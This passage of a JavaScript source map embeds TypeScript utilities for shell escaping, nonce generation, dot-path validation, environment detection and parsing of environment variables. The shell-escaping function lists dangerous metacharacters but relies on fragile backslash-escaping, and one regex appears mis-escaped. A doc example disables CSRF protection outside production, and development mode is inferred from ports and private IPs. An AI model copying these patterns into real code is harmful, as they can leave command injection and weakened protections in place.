preserved)\n * escapeShellCommand('normal-filename.txt') // 'normal-filename.txt' (no changes)\n * escapeShellCommand('file with spaces') // 'file with spaces' (spaces OK)\n * escapeShellCommand('multi\\nline\\ntext') // 'multi\\nline\\ntext' (newlines preserved)\n * ```\n *\n * @see {@link isValidFilePath} for path validation before shell usage\n * @see {@link https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html OWASP Command Injection Prevention}\n * @see {@link https://nodejs.org/api/child_process.html#child_processspawncommand-args-options Node.js spawn() - Shell-free execution}\n */\nexport const escapeShellCommand = (input: string): string => {\n if (!input) return ''\n\n // Escapar caracteres peligrosos\n return input\n .replace(/\\\\/g, '\\\\\\\\') // Backslash\n .replace(/'/g, \"\\\\'\") // Single quote\n .replace(/\"/g, '\\\\\"') // Double quote\n .replace(/;/g, '\\\\;') // Semicolon\n .replace(/&/g, '\\\\&') // Ampersand\n .replace(/\\|/g, '\\\\|') // Pipe (fixed regex)\n .replace(/`/g, '\\\\`') // Backtick\n .replace(/\\$/g, '\\\\$') // Dollar sign\n .replace(/\\(/g, '\\\\(') // Left parenthesis\n .replace(/\\)/g, '\\\\)') // Right parenthesis\n .replace(/</g, '\\\\\\\\<') // Less than\n .replace(/>/g, '\\\\\\\\>') // Greater than\n}\n\n/**\n * Validates if a URL is secure (https or localhost).\n */\nexport const isSecureUrl = (url: string): boolean => {\n if (!url || typeof url !== 'string') return false\n\n try {\n const parsed = new URL(url)\n return (\n parsed.protocol === 'https:' ||\n (parsed.protocol === 'http:' &&\n (parsed.hostname === 'localhost' || parsed.hostname === '127.0.0.1'))\n )\n } catch {\n return false\n }\n}\n\n/**\n * Removes or replaces potentially dangerous characters from a string.\n */\nexport const removeDangerousChars = (input: string, replacement = ''): string => {\n if (!input) return ''\n\n // Remover caracteres peligrosos comunes\n return input\n .replace(/[<>]/g, replacement) // HTML tags\n .replace(/['\"]/g, replacement) // Quotes\n .replace(/[&]/g, replacement) // Ampersand\n .replace(/[\\\\x00-\\\\x1f\\\\x7f]/g, replacement) // Control characters\n}\n\n/**\n * Generates a secure random string for use as nonce or CSRF token.\n */\nexport const generateNonce = (length = 32): string => {\n const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'\n let result = ''\n\n if (!isNodeEnvironment()) {\n // Para navegador\n const array = new Uint8Array(length)\n crypto.getRandomValues(array)\n for (let i = 0; i < length; i++) {\n result += chars[array[i] % chars.length]\n }\n } else {\n // Para Node.js\n const bytes = randomBytes(length)\n for (let i = 0; i < length; i++) {\n result += chars[bytes[i] % chars.length]\n }\n }\n\n return result\n}\n\n/**\n * Validates if a string represents a valid dot-notation path\n *\n * Checks for common formatting issues:\n * - Empty path\n * - Leading/trailing dots\n * - Consecutive dots (e.g., 'path..value')\n * - Invalid characters (only alphanumeric, dots, underscores, hyphens)\n *\n * Valid paths: 'database.host', 'app.features.auth', 'config_value.nested-key'\n * Invalid paths: '.database', 'database.', 'path..value', 'path with spaces'\n *\n * @param path - String to validate as dot-notation path\n * @returns True if path is valid dot-notation format, false otherwise\n *\n * @example\n * ```typescript\n * // Valid paths\n * isValidDotNotationPath('database.host') // true\n * isValidDotNotationPath('app.features.auth.enabled') // true\n * isValidDotNotationPath('config_value') // true (single segment)\n * isValidDotNotationPath('nested-key.sub_key') // true (hyphens/underscores)\n * isValidDotNotationPath('level1.level2.level3') // true\n *\n * // Invalid paths\n * isValidDotNotationPath('') // false (empty)\n * isValidDotNotationPath('.database') // false (leading dot)\n * isValidDotNotationPath('database.') // false (trailing dot)\n * isValidDotNotationPath('path..value') // false (consecutive dots)\n * isValidDotNotationPath('path with spaces') // false (spaces)\n * isValidDotNotationPath('path.with.special!chars') // false (special chars)\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Validate user input for config paths\n * function setConfigValue(path: string, value: any) {\n * if (!isValidDotNotationPath(path)) {\n * throw new Error(`Invalid config path: ${path}`)\n * }\n * // Safe to use path with setDeepValue\n * setDeepValue(config, path, value)\n * }\n *\n * setConfigValue('database.host', 'localhost') // OK\n * setConfigValue('.invalid', 'value') // throws Error\n * ```\n *\n * @example\n * ```typescript\n * // Input validation for API\n * app.post('/api/config', (req, res) => {\n * const { path, value } = req.body\n *\n * if (!isValidDotNotationPath(path)) {\n * return res.status(400).json({\n * error: 'Invalid path format. Use dot notation (e.g., database.host)'\n * })\n * }\n *\n * // Safe to proceed\n * updateConfig(path, value)\n * res.json({ success: true })\n * })\n * ```\n */\nexport function isValidDotNotationPath(path: string): boolean {\n // Check if path is provided and is a string\n if (!path || typeof path !== 'string') {\n return false\n }\n\n const trimmed = path.trim()\n\n // Check if empty after trimming\n if (trimmed.length === 0) {\n return false\n }\n\n // Check for leading or trailing dots\n if (trimmed.startsWith('.') || trimmed.endsWith('.')) {\n return false\n }\n\n // Check for consecutive dots\n if (trimmed.includes('..')) {\n return false\n }\n\n // Valid characters: alphanumeric, dots, underscores, hyphens\n // Each segment between dots must have at least one character\n const validPattern = /^[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)*$/\n\n return validPattern.test(trimmed)\n}\n","/**\n * Environment detection utilities for universal browser/Node.js compatibility\n */\n\n/**\n * Detailed criteria used for environment debugging and analysis\n */\nexport interface EnvironmentCriteria {\n /** True if hostname is localhost, 127.0.0.1, ::1, or .localhost/.local domain */\n isLocalhost: boolean\n /** True if hostname is within private IP ranges (10.x, 192.168.x, 172.16-31.x) */\n isPrivateIP: boolean\n /** True if port is in development range (3000-9999) */\n isDevelopmentPort: boolean\n /** True if development tools are detected (Vue DevTools, __DEV__ global) */\n hasDevtools: boolean\n /** Current NODE_ENV value (Node.js only) */\n nodeEnv?: string\n}\n\n/**\n * Complete environment information with platform detection and debugging criteria\n */\nexport interface EnvironmentInfo {\n /** Runtime platform: 'browser', 'node', or 'unknown' */\n platform: 'browser' | 'node' | 'unknown'\n /** Detected environment: 'development', 'production', or 'test' */\n environment: 'development' | 'production' | 'test'\n /** Protocol used (http/https) - from location or request headers */\n protocol?: string\n /** Hostname - from location or request headers */\n hostname?: string\n /** Browser user agent string (browser only) */\n userAgent?: string\n /** Detailed debugging criteria */\n criteria?: EnvironmentCriteria\n}\n\n/**\n * Detects if the current runtime is Node.js environment\n *\n * Checks for the presence of Node.js-specific globals (process, process.versions.node)\n * and absence of browser globals (window).\n *\n * @returns True if running in Node.js, false otherwise\n *\n * @example\n * ```typescript\n * if (isNodeEnvironment()) {\n * // Node.js specific code\n * const fs = require('fs')\n * }\n * ```\n */\nexport function isNodeEnvironment(): boolean {\n return typeof window === 'undefined' && typeof process !== 'undefined' && !!process.versions?.node\n}\n\n/**\n * Detects if the current runtime is a browser environment\n *\n * Checks for the presence of browser-specific globals (window, document).\n * Also handles testing environments that may mock these globals.\n *\n * @returns True if running in browser, false otherwise\n *\n * @example\n * ```typescript\n * if (isBrowserEnvironment()) {\n * // Browser specific code\n * const url = window.location.href\n * }\n * ```\n */\nexport function isBrowserEnvironment(): boolean {\n // Check both global.window (for tests) and window (for actual browser)\n const win = typeof window !== 'undefined' ? window : (global as any).window\n const doc = typeof document !== 'undefined' ? document : (global as any).document\n return typeof win !== 'undefined' && win !== null && typeof doc !== 'undefined' && doc !== null\n}\n\n/**\n * Detects if the application is running in development mode\n *\n * Uses sophisticated detection logic based on multiple criteria:\n * - Node.js: NODE_ENV variable, request headers (for Express), hostname/protocol analysis\n * - Browser: __DEV__ global, development ports (3000-9999), localhost/private IPs, dev tools\n *\n * Handles reverse proxies correctly by checking forwarded headers.\n *\n * @param req - Optional Express request object for server-side detection\n * @returns True if in development mode, false if production\n *\n * @example\n * ```typescript\n * // Node.js - simple check\n * if (isDevelopment()) {\n * console.log('Development mode')\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Express - with request context\n * app.get('/api/status', (req, res) => {\n * const isDev = isDevelopment(req)\n * res.json({ environment: isDev ? 'dev' : 'prod' })\n * })\n * ```\n *\n * @example\n * ```typescript\n * // Browser - automatic detection\n * if (isDevelopment()) {\n * // Enable debug logging, dev tools, etc.\n * enableDebugMode()\n * }\n * ```\n */\nexport function isDevelopment(req?: any): boolean {\n if (isNodeEnvironment()) {\n // En Node.js, verificar NODE_ENV primero\n if (process.env.NODE_ENV === 'production') {\n return false\n }\n if (process.env.NODE_ENV === 'development') {\n return true\n }\n\n // Si hay request object (Express), usar lógica de servidor\n if (req) {\n const protocol = detectProtocol(req)\n const hostname = detectHostname(req)\n\n return protocol === 'http' || isLocalhost(hostname) || isPrivateIP(hostname)\n }\n\n // Fallback para Node.js sin request\n // NODE_ENV undefined se asume como development\n return !process.env.NODE_ENV || process.env.NODE_ENV === 'development'\n }\n\n if (isBrowserEnvironment()) {\n // Verificar variable global de desarrollo (webpack/vite)\n if (\n typeof (globalThis as any).__DEV__ !== 'undefined' &&\n (globalThis as any).__DEV__ === true\n ) {\n return true\n }\n\n // Verificar si hay herramientas de desarrollo activas\n if (\n typeof window !== 'undefined' &&\n (window as any).__VUE_DEVTOOLS_GLOBAL_HOOK__ &&\n typeof location !== 'undefined' &&\n isLocalhost(location.hostname)\n ) {\n return true\n }\n\n // Si location no está disponible, considerar como producción\n if (typeof location === 'undefined') {\n return false\n }\n\n const hostname = location.hostname || ''\n const port = parseInt(location.port || '80')\n\n // Criterios basados en hostname y puerto\n const isDevelopmentPort = port >= 3000 && port <= 9999\n\n // Solo considerar HTTP como desarrollo si el hostname también lo indica\n const isHttpDevelopment =\n location.protocol === 'http:' && (isLocalhost(hostname) || isPrivateIP(hostname))\n\n return isLocalhost(hostname) || isPrivateIP(hostname) || isDevelopmentPort || isHttpDevelopment\n }\n\n return false\n}\n\n/**\n * Detects if the application is running in production mode\n *\n * Simple inverse of isDevelopment() with additional NODE_ENV validation for Node.js.\n *\n * @returns True if in production mode, false if development\n *\n * @example\n * ```typescript\n * if (isProduction()) {\n * // Enable performance optimizations\n * enableProductionMode()\n * }\n * ```\n */\nexport function isProduction(): boolean {\n if (isNodeEnvironment()) {\n return process.env.NODE_ENV === 'production'\n }\n\n // Browser: inverso de isDevelopment (que ya excluye test)\n return !isDevelopment()\n}\n\n/**\n * Detects if the application is running in test mode\n *\n * Checks explicitly for NODE_ENV === 'test' in Node.js environments.\n * Vitest and Jest automatically set this value when running tests.\n *\n * @returns True if NODE_ENV is 'test', false otherwise\n *\n * @example\n * ```typescript\n * if (isTest()) {\n * // Test-specific behavior (mocks, fixtures, etc.)\n * enableTestMode()\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Conditional imports for testing\n * if (isTest()) {\n * const { mockAPI } = await import('./test/mocks')\n * mockAPI.setup()\n * }\n * ```\n */\nexport function isTest(): boolean {\n if (isNodeEnvironment()) {\n return process.env.NODE_ENV === 'test'\n }\n\n return false\n}\n\n/**\n * Detects if the application is NOT running in production mode\n *\n * Returns true for development, test, undefined, or any non-production environment.\n * Useful for enabling debugging, logging, or development-only features\n * across all non-production environments.\n *\n * @returns True if not in production (development, test, or undefined)\n *\n * @example\n * ```typescript\n * if (isNonProduction()) {\n * // Enable debug logging for dev and test\n * console.log('Debug mode enabled')\n * enableVerboseLogging()\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Security: Disable strict checks in non-production\n * if (isNonProduction()) {\n * allowSelfSignedCertificates()\n * disableCSRFProtection()\n * }\n * ```\n */\nexport function isNonProduction(): boolean {\n if (isNodeEnvironment()) {\n return process.env.NODE_ENV !== 'production'\n }\n\n return !isProduction()\n}\n\n/**\n * Detects the protocol (HTTP/HTTPS) from browser location or request headers\n *\n * Handles reverse proxies correctly by checking forwarded headers in priority order:\n * 1. X-Forwarded-Proto (most common)\n * 2. X-Forwarded-Protocol\n * 3. X-Url-Scheme\n * 4. Front-End-Https\n * 5. CF-Visitor (Cloudflare specific)\n *\n * @param req - Optional Express request object with headers\n * @returns Protocol as 'http' or 'https'\n *\n * @example\n * ```typescript\n * // Browser usage\n * const protocol = detectProtocol() // 'https' from window.location\n * ```\n *\n * @example\n * ```typescript\n * // Express server with proxy\n * app.get('/api', (req, res) => {\n * const protocol = detectProtocol(req) // Detects from X-Forwarded-Proto\n * const fullUrl = `${protocol}://${req.get('host')}${req.path}`\n * })\n * ```\n */\nexport function detectProtocol(req?: any): 'http' | 'https' {\n if (isBrowserEnvironment()) {\n if (typeof location !== 'undefined') {\n return location.protocol === 'https:' ? 'https' : 'http'\n }\n return 'https' // Default seguro para browser\n }\n\n if (req) {\n // Headers comunes de proxies reversos en orden de prioridad\n const forwardedProto = req.get?.('X-Forwarded-Proto') || req.headers?.['x-forwarded-proto']\n const forwardedProtocol =\n req.get?.('X-Forwarded-Protocol') || req.headers?.['x-forwarded-protocol']\n const urlScheme = req.get?.('X-Url-Scheme') || req.headers?.['x-url-scheme']\n const frontEndHttps = req.get?.('Front-End-Https') || req.headers?.['front-end-https']\n const cloudflareVisitor = req.get?.('CF-Visitor') || req.headers?.['cf-visitor']\n\n // Verificar headers de proxy\n if (forwardedProto) {\n return forwardedProto.split(',')[0].trim().toLowerCase() as 'http' | 'https'\n }\n if (forwardedProtocol) {\n return forwardedProtocol.toLowerCase() as 'http' | 'https'\n }\n if (urlScheme) {\n return urlScheme.toLowerCase() as 'http' | 'https'\n }\n if (frontEndHttps === 'on') {\n return 'https'\n }\n if (cloudflareVisitor) {\n try {\n const visitor = JSON.parse(cloudflareVisitor)\n if (visitor.scheme) {\n return visitor.scheme.toLowerCase() as 'http' | 'https'\n }\n } catch (_e) {\n // Ignorar errores de parsing JSON\n }\n }\n\n // Fallback al protocolo directo\n if (req.protocol) return req.protocol\n if (req.secure) return 'https'\n }\n\n // Default para Node.js sin request context\n return 'http'\n}\n\n/**\n * Extracts hostname from browser location or request headers\n *\n * Handles reverse proxies by checking forwarded headers in priority order:\n * 1. X-Forwarded-Host (most common, supports multiple hosts)\n * 2. X-Original-Host\n * 3. Host header\n *\n * Automatically strips port numbers and handles multiple comma-separated hosts.\n *\n * @param req - Optional Express request object with headers\n * @returns Hostname without port number\n *\n * @example\n * ```typescript\n * // Browser usage\n * const hostname = detectHostname() // 'example.com' from window.location\n * ```\n *\n * @example\n * ```typescript\n * // Express server behind proxy\n * app.get('/api', (req, res) => {\n * const hostname = detectHostname(req) // 'api.example.com' from X-Forwarded-Host\n * const isLocal = isLocalhost(hostname)\n * })\n * ```\n */\nexport function detectHostname(req?: any): string {\n if (isBrowserEnvironment()) {\n if (typeof location !== 'undefined') {\n return location.hostname\n }\n return 'localhost'\n }\n\n if (req) {\n // Headers comunes de proxies reversos en orden de prioridad\n const forwardedHost = req.get?.('X-Forwarded-Host') || req.headers?.['x-forwarded-host']\n const originalHost = req.get?.('X-Original-Host') || req.headers?.['x-original-host']\n const host = req.get?.('Host') || req.headers?.['host']\n\n // Verificar headers de proxy\n if (forwardedHost) {\n return forwardedHost.split(',')[0].trim().split(':')[0]\n }\n if (originalHost) {\n return originalHost.split(':')[0]\n }\n if (host) {\n return host.split(':')[0]\n }\n\n // Fallback al hostname directo\n if (req.hostname) return req.hostname\n }\n\n // Default para Node.js sin request context\n return 'localhost'\n}\n\n/**\n * Checks if a hostname represents localhost or local development\n *\n * Recognizes various localhost representations:\n * - 'localhost' (standard)\n * - '127.0.0.1' (IPv4 loopback)\n * - '::1' (IPv6 loopback)\n * - '*.localhost' (local development domains)\n * - '*.local' (mDNS local domains)\n *\n * @param hostname - Hostname to check\n * @returns True if hostname represents localhost\n *\n * @example\n * ```typescript\n * isLocalhost('localhost') // true\n * isLocalhost('127.0.0.1') // true\n * isLocalhost('app.localhost') // true\n * isLocalhost('macbook.local') // true\n * isLocalhost('example.com') // false\n * ```\n */\nexport function isLocalhost(hostname: string): boolean {\n return (\n hostname === 'localhost' ||\n hostname === '127.0.0.1' ||\n hostname === '::1' ||\n hostname.endsWith('.localhost') ||\n hostname.endsWith('.local')\n )\n}\n\n/**\n * Checks if a hostname is within private IP address ranges\n *\n * Recognizes private/internal IP ranges according to RFC 1918:\n * - IPv4: 10.x.x.x, 192.168.x.x, 172.16-31.x.x, 127.x.x.x (loopback)\n * - IPv6: ::1 (loopback), fc00::/7 (unique local), fe80::/10 (link-local)\n * - Also includes localhost detection\n *\n * @param hostname - Hostname or IP address to check\n * @returns True if hostname is private/local, false if public\n *\n * @example\n * ```typescript\n * isPrivateIP('192.168.1.1') // true\n * isPrivateIP('10.0.0.1') // true\n * isPrivateIP('172.16.0.1') // true\n * isPrivateIP('localhost') // true\n * isPrivateIP('8.8.8.8') // false\n * isPrivateIP('example.com') // false\n * ```\n */\nexport function isPrivateIP(hostname: string): boolean {\n // IPv4 private ranges\n const ipv4Patterns = [\n /^10\\./, // 10.0.0.0/8\n /^172\\.(1[6-9]|2[0-9]|3[0-1])\\./, // 172.16.0.0/12\n /^192\\.168\\./, // 192.168.0.0/16\n /^127\\./, // 127.0.0.0/8 (loopback)\n ]\n\n // IPv6 private/local ranges\n const ipv6Patterns = [\n /^::1$/, // IPv6 loopback\n /^fc[0-9a-f]{2}:/i, // Unique local addresses\n /^fd[0-9a-f]{2}:/i, // Unique local addresses\n /^fe80:/i, // Link-local addresses\n ]\n\n return (\n ipv4Patterns.some(pattern => pattern.test(hostname)) ||\n ipv6Patterns.some(pattern => pattern.test(hostname)) ||\n isLocalhost(hostname)\n )\n}\n\n/**\n * Gathers complete environment information for debugging and analysis\n *\n * Returns comprehensive environment data including platform detection,\n * development/production status, protocol/hostname information, and\n * detailed debugging criteria.\n *\n * @param req - Optional Express request object for server-side context\n * @returns Complete environment information object\n *\n * @example\n * ```typescript\n * // Basic usage\n * const env = getEnvironmentInfo()\n * console.log(env.platform) // 'node' | 'browser' | 'unknown'\n * console.log(env.environment) // 'development' | 'production' | 'test'\n * ```\n *\n * @example\n * ```typescript\n * // Express server usage\n * app.get('/api/debug', (req, res) => {\n * const envInfo = getEnvironmentInfo(req)\n * res.json({\n * platform: envInfo.platform,\n * isDev: envInfo.environment === 'development',\n * protocol: envInfo.protocol,\n * host: envInfo.hostname,\n * criteria: envInfo.criteria\n * })\n * })\n * ```\n *\n * @example\n * ```typescript\n * // Conditional features based on environment\n * const env = getEnvironmentInfo()\n * if (env.criteria?.hasDevtools) {\n * enableVueDevtools()\n * }\n * if (env.criteria?.isDevelopmentPort) {\n * enableHotReload()\n * }\n * ```\n */\nexport function getEnvironmentInfo(req?: any): EnvironmentInfo {\n const platform = isNodeEnvironment() ? 'node' : isBrowserEnvironment() ? 'browser' : 'unknown'\n\n let environment: EnvironmentInfo['environment'] = 'production'\n if (isNodeEnvironment()) {\n const nodeEnv = process.env.NODE_ENV\n if (nodeEnv === 'development' || nodeEnv === 'test') {\n environment = nodeEnv\n }\n } else if (isDevelopment()) {\n environment = 'development'\n }\n\n const protocol = detectProtocol(req)\n const hostname = detectHostname(req)\n\n const info: EnvironmentInfo = {\n platform,\n environment,\n protocol,\n hostname,\n }\n\n if (isBrowserEnvironment() && typeof navigator !== 'undefined') {\n info.userAgent = navigator.userAgent\n }\n\n // Criterios detallados para debugging\n const criteria: EnvironmentCriteria = {\n isLocalhost: isLocalhost(hostname),\n isPrivateIP: isPrivateIP(hostname),\n isDevelopmentPort: false,\n hasDevtools: false,\n }\n\n if (isBrowserEnvironment() && typeof location !== 'undefined') {\n const port = parseInt(location.port || '80')\n criteria.isDevelopmentPort = port >= 3000 && port <= 9999\n criteria.hasDevtools = !!(\n typeof window !== 'undefined' && (window as any).__VUE_DEVTOOLS_GLOBAL_HOOK__\n )\n }\n\n if (isNodeEnvironment()) {\n criteria.nodeEnv = process.env.NODE_ENV || 'undefined'\n }\n\n info.criteria = criteria\n\n return info\n}\n\n/**\n * Alias for isNodeEnvironment() - detects Node.js runtime\n * @see {@link isNodeEnvironment}\n */\nexport const isNode = isNodeEnvironment\n\n/**\n * Alias for isBrowserEnvironment() - detects browser runtime\n * @see {@link isBrowserEnvironment}\n */\nexport const isBrowser = isBrowserEnvironment\n\n/**\n * Parses environment variable string values to their native JavaScript types\n *\n * Automatically detects and converts:\n * - Booleans: 'true', 'false', 'yes', 'no', '1', '0'\n * - Numbers: '42', '3.14', '-100'\n * - JSON arrays: '[1,2,3]', '[\"a\",\"b\"]'\n * - JSON objects: '{\"key\":\"value\"}'\n * - Comma-separated arrays: 'item1,item2,item3' (when not valid JSON)\n * - null/undefined: 'null', 'undefined', empty string\n *\n * Falls back to original string if no conversion applies.\n *\n * @param value - Environment variable string value to parse\n * @returns Parsed value with appropriate native type\n *\n * @example\n * ```typescript\n * // Boolean conversion\n * parseEnvValue('true') // true\n * parseEnvValue('false') // false\n * parseEnvValue('yes') // true\n * parseEnvValue('1') // true (as boolean)\n *\n * // Number conversion\n * parseEnvValue('42') // 42\n * parseEnvValue('3.14') // 3.14\n * parseEnvValue('-100') // -100\n *\n * // JSON arrays\n * parseEnvValue('[1,2,3]') // [1, 2, 3]\n * parseEnvValue('[\"a\",\"b\"]') // ['a', 'b']\n *\n * // JSON objects\n * parseEnvValue('{\"port\":3000,\"host\":\"localhost\"}')\n * // { port: 3000, host: 'localhost' }\n *\n * // Comma-separated arrays (fallback when not JSON)\n * parseEnvValue('red,green,blue') // ['red', 'green', 'blue']\n *\n * // Null/undefined\n * parseEnvValue('null') // null\n * parseEnvValue('undefined') // undefined\n * parseEnvValue('') // undefined\n *\n * // Strings (no conversion)\n * parseEnvValue('hello') // 'hello'\n * ```\n *\n * @example\n * ```typescript\n * // Real-world usage with process.env\n * const config = {\n * debug: parseEnvValue(process.env.DEBUG), // 'true' → true\n * port: parseEnvValue(process.env.PORT), // '3000' → 3000\n * features: parseEnvValue(process.env.FEATURES), // 'auth,api' → ['auth', 'api']\n * database: parseEnvValue(process.env.DB_CONFIG), // '{\"host\":\"localhost\"}' → object\n * }\n * ```\n */\nexport function parseEnvValue(value: string | undefined): any {\n // Handle null/undefined/empty\n if (value === undefined || value === null || value === '') {\n return undefined\n }\n\n const trimmed = value.trim()\n\n // Handle explicit null/undefined strings\n if (trimmed === 'null') return null\n if (trimmed === 'undefined') return undefined\n\n // Handle booleans\n const lowerValue = trimmed.toLowerCase()\n if (lowerValue === 'true' || lowerValue === 'yes') return true\n if (lowerValue === 'false' || lowerValue === 'no') return false\n\n // Handle boolean-like numbers\n if (trimmed === '1') return true\n if (trimmed === '0') return false\n\n // Try parsing as number (but not if it starts with 0 and has more digits - could be octal/string)\n if (/^-?\\d+\\.?\\d*$/.test(trimmed)) {\n // Avoid treating leading-zero strings as numbers (e.g., postal codes '01234')\n if (trimmed.length > 1 && trimmed[0] === '0' && trimmed[1] !== '.') {\n return trimmed // Keep as string (e.g., '01234')\n }\n const num = Number(trimmed)\n if (!isNaN(num)) return num\n }\n\n // Try parsing as JSON (arrays, objects)\n if (\n (trimmed.startsWith('[') && trimmed.endsWith(']')) ||\n (trimmed.startsWith('{') && trimmed.endsWith('}'))\n ) {\n try {\n return JSON.parse(trimmed)\n } catch {\n // Not valid JSON, continue to next check\n }\n }\n\n // Try parsing comma-separated values as array\n if (trimmed.includes(',')) {\n const parts = trimmed.split(',').map(s => s.trim())\n // Only convert to array if all parts are non-empty\n if (parts.every(p => p.length > 0)) {\n return parts\n }\n }\n\n // Return as-is string\n return trimmed\n}\n"],"mappings":"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